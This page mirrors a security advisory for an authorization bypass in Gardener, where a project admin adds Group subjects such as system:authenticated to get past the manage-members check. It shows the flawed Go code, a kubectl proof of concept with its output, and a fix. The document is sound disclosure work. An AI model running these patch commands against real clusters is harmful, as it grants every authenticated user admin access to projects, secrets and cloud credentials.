GHSA-GFJV-GQF2-C888

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40
VLAI
Summary
Gardener: Authorization Bypass via Group Subject Injection
Details

Overview

The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.

Technical Details

The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states: image

However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:

func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
    if apiequality.Semantic.DeepEqual(oldMembers, members) {
        return false
    }
    if userIsOwner(userInfo, owner) {
        return false
    }
    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
    // ...
    return !oldHumanUsers.Equal(newHumanUsers)
}

The isHumanUser() function at admission.go only matches Kind == "User":

func isHumanUser(subject rbacv1.Subject) bool {
    return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}

Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check. A project admin without manage-members permission can freely add or remove Group members.

Steps to reproduce

image


Proof of concept: 1. Verify current project membership and confirm the owner has manage-members permission:

# Project members before the test:
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner

# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes
  1. Add a second admin user (test-admin-user) to the project WITHOUT the uam role, then confirm they lack manage-members:
# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: test-admin-user
#     role: admin

# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no
  1. Verify test-admin-user cannot add a human User member (the check works for Users):
$ kubectl patch --as=test-admin-user project local --type=merge -p '{
  "spec": {
    "members": [
      {
        "kind": "User",
        "apiGroup": "rbac.authorization.k8s.io",
        "name": "new-human-user@example.com",
        "role": "viewer"
      }
    ]
  }
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"
  1. Bypass the check by adding a Group subject instead:
# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
  {
    "op": "add",
    "path": "/spec/members/-",
    "value": {
      "kind": "Group",
      "apiGroup": "rbac.authorization.k8s.io",
      "name": "system:authenticated",
      "role": "admin",
      "roles": ["admin"]
    }
  }
]'

project.core.gardener.cloud/local patched
  1. Verify the Group was added to project members:
$ kubectl get project local -o yaml
# members:
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: admin-user
#     role: admin
#     roles:
#     - owner
#   - apiGroup: rbac.authorization.k8s.io
#     kind: User
#     name: test-admin-user
#     role: admin
#   - apiGroup: rbac.authorization.k8s.io
#     kind: Group
#     name: system:authenticated
#     role: admin
  1. Demonstrate the impact - any authenticated user now has project access:
# As a random user 
$ kubectl --as=random-user@example.com get shoots -n garden-local
NAME    CLOUDPROFILE   PROVIDER   REGION   K8S VERSION   HIBERNATION   LAST OPERATION            STATUS    AGE
local   local          local      local    1.35.0        Awake         Create Succeeded (100%)   healthy   30m

Note: random-user@example.com does not exist as a real user. However, the Kubernetes --as global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the system:authenticated group. Since system:authenticated was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.


Security Impact

  • Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including system:authenticated (all authenticated users) or system:unauthenticated (all unauthenticated users).

Patching & Remediation

  1. Fix isHumanUser() to include Groups: The function should match the documented behavior. Change: go func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) } To: go func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gardener/gardener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.142.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "gardener/gardener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.143.0"
            },
            {
              "fixed": "1.143.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "gardener/gardener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.144.0"
            },
            {
              "fixed": "1.144.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-79767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Overview\nThe `manage-members` custom verb authorization check in the Gardener API server\u0027s `customverbauthorizer` admission plugin can be bypassed by adding `Group` or `ServiceAccount` subjects to a Project\u0027s member list. The check is documented as controlling \"human users or groups\", but the implementation only gates changes to `User`-kind subjects. A project admin (without `manage-members` permission) can add arbitrary Group subjects - including `system:authenticated` - granting all authenticated users full project-level access.\n## Technical Details\nThe official Gardener documentation at `docs/usage/project/projects.md:90-92` explicitly states:\n\u003cimg width=\"2090\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b\" /\u003e\n\nHowever, the `mustCheckProjectMembers()` function at `admission.go` compares old and new member lists using `findHumanUsersWithRoles()`, which only tracks subjects where `isHumanUser()` returns true:\n```go\nfunc mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {\n    if apiequality.Semantic.DeepEqual(oldMembers, members) {\n        return false\n    }\n    if userIsOwner(userInfo, owner) {\n        return false\n    }\n    var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)\n    // ...\n    return !oldHumanUsers.Equal(newHumanUsers)\n}\n```\nThe `isHumanUser()` function at `admission.go` only matches `Kind == \"User\"`:\n```go\nfunc isHumanUser(subject rbacv1.Subject) bool {\n    return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n}\n```\nKind: \"Group\" subjects are NOT matched by `isHumanUser()`, making Group member changes invisible to the authorization check. \nA project admin without manage-members permission can freely add or remove Group members.\n\n## Steps to reproduce\n\u003cimg width=\"4322\" height=\"1395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c\" /\u003e\n\n---\n\n_Proof of concept:_\n1. Verify current project membership and confirm the owner has `manage-members` permission:\n```bash\n# Project members before the test:\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n\n# Confirm the owner CAN manage-members (expected)\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user\nyes\n```\n2. Add a second admin user (`test-admin-user`) to the project WITHOUT the `uam` role, then confirm they lack `manage-members`:\n```bash\n# After adding test-admin-user as admin (no uam role):\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n\n# Confirm test-admin-user does NOT have manage-members\n$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user\nno\n```\n3. Verify `test-admin-user` cannot add a human User member (the check works for Users):\n```bash\n$ kubectl patch --as=test-admin-user project local --type=merge -p \u0027{\n  \"spec\": {\n    \"members\": [\n      {\n        \"kind\": \"User\",\n        \"apiGroup\": \"rbac.authorization.k8s.io\",\n        \"name\": \"new-human-user@example.com\",\n        \"role\": \"viewer\"\n      }\n    ]\n  }\n}\u0027\nError from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) \"local\" is forbidden: user \"test-admin-user\" is not allowed to manage human users or groups in .spec.members for \"projects\"\n```\n4. Bypass the check by adding a Group subject instead:\n```bash\n# This should be denied but ISN\u0027T - the manage-members check is bypassed\n$ kubectl patch project local --as=test-admin-user --type=json -p \u0027[\n  {\n    \"op\": \"add\",\n    \"path\": \"/spec/members/-\",\n    \"value\": {\n      \"kind\": \"Group\",\n      \"apiGroup\": \"rbac.authorization.k8s.io\",\n      \"name\": \"system:authenticated\",\n      \"role\": \"admin\",\n      \"roles\": [\"admin\"]\n    }\n  }\n]\u0027\n\nproject.core.gardener.cloud/local patched\n```\n5. Verify the Group was added to project members:\n```bash\n$ kubectl get project local -o yaml\n# members:\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: admin-user\n#     role: admin\n#     roles:\n#     - owner\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: User\n#     name: test-admin-user\n#     role: admin\n#   - apiGroup: rbac.authorization.k8s.io\n#     kind: Group\n#     name: system:authenticated\n#     role: admin\n```\n6. Demonstrate the impact - any authenticated user now has project access:\n```bash\n# As a random user \n$ kubectl --as=random-user@example.com get shoots -n garden-local\nNAME    CLOUDPROFILE   PROVIDER   REGION   K8S VERSION   HIBERNATION   LAST OPERATION            STATUS    AGE\nlocal   local          local      local    1.35.0        Awake         Create Succeeded (100%)   healthy   30m\n```\n\u003e_Note: `random-user@example.com` does not exist as a real user. However, the Kubernetes `--as` global flag performs user impersonation which is treated as a successfully authenticated request, automatically adding the `system:authenticated` group. Since `system:authenticated` was added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials._\n\n\n---\n## Security Impact\n- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including `system:authenticated` (all authenticated users) or `system:unauthenticated` (all unauthenticated users).\n## Patching \u0026 Remediation\n1. **Fix `isHumanUser()` to include Groups**: The function should match the documented behavior. Change:\n    ```go\n    func isHumanUser(subject rbacv1.Subject) bool {\n        return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```\n    To:\n    ```go\n    func isNonServiceAccountSubject(subject rbacv1.Subject) bool {\n        if subject.Kind == rbacv1.GroupKind {\n            return true\n        }\n        return subject.Kind == rbacv1.UserKind \u0026\u0026 !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)\n    }\n    ```",
  "id": "GHSA-gfjv-gqf2-c888",
  "modified": "2026-09-22T20:40:38Z",
  "published": "2026-09-22T20:40:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gardener/gardener/security/advisories/GHSA-gfjv-gqf2-c888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gardener/gardener/pull/15080"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gardener/gardener/commit/63751db97dca6cc5ee5f966d4963415de6ae5545"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gardener/gardener"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gardener/gardener/releases/tag/v1.144.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gardener: Authorization Bypass via Group Subject Injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…